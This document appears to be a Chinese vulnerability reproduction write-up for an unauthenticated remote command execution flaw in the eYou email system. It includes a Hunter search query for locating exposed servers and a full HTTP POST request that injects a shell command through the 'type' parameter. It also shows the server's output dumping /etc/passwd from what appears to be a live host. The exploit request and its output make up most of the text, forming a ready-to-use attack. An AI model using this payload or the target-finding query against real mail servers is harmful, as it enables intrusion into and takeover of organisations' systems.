Y14-1亿邮-电子邮件系统-RCE

漏洞描述：

亿邮电子邮件系统是由北京亿中邮信息技术有限公司（以下简称亿邮公司）开发的一款面向中大型集团企业、政府、高校用户的国产邮件系统。未经身份验证的攻击者利用该漏洞，可通过精心构造恶意请求，使用POST方法在目标服务器执行命令，获取目标服务器权限，控制目标服务器。

影响版本：

亿邮电子邮件系统V8.3-V8.13的部分二次开发版本

网站图片：

网络测绘：

Hunter 语法：

- hunterapp.name="eYou 亿邮"

漏洞复现：

payload：

```
POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
Host: xx.xx.xx.xx
Content-Length: 25
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Origin: chrome-extension://ieoejemkppmjcdfbnfphhpbfmallhfnc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: EMPHPSID=ffah74s753ae239996a1mmbld0; empos=0
Connection: close

type='|cat /etc/passwd||'
```

效果图:

```
POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
Host : [redacted]
Content-Length auto : 25
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Origin: chrome-extension://ieoejemkppmjcdfbnfphhpbfmallhfnc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: EMPHPSID=ffah74s753ae239996a1mmbld0; empos=0
Connection: close

type='|cat /etc/passwd||'
```

```
}
//-->
</script></head><body></body></html>root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
```

DNS耗时:1ms; 远端地址:103.242.56.71:80; 响应时间:362ms; 总耗时:1509ms; URL:http://[redacted]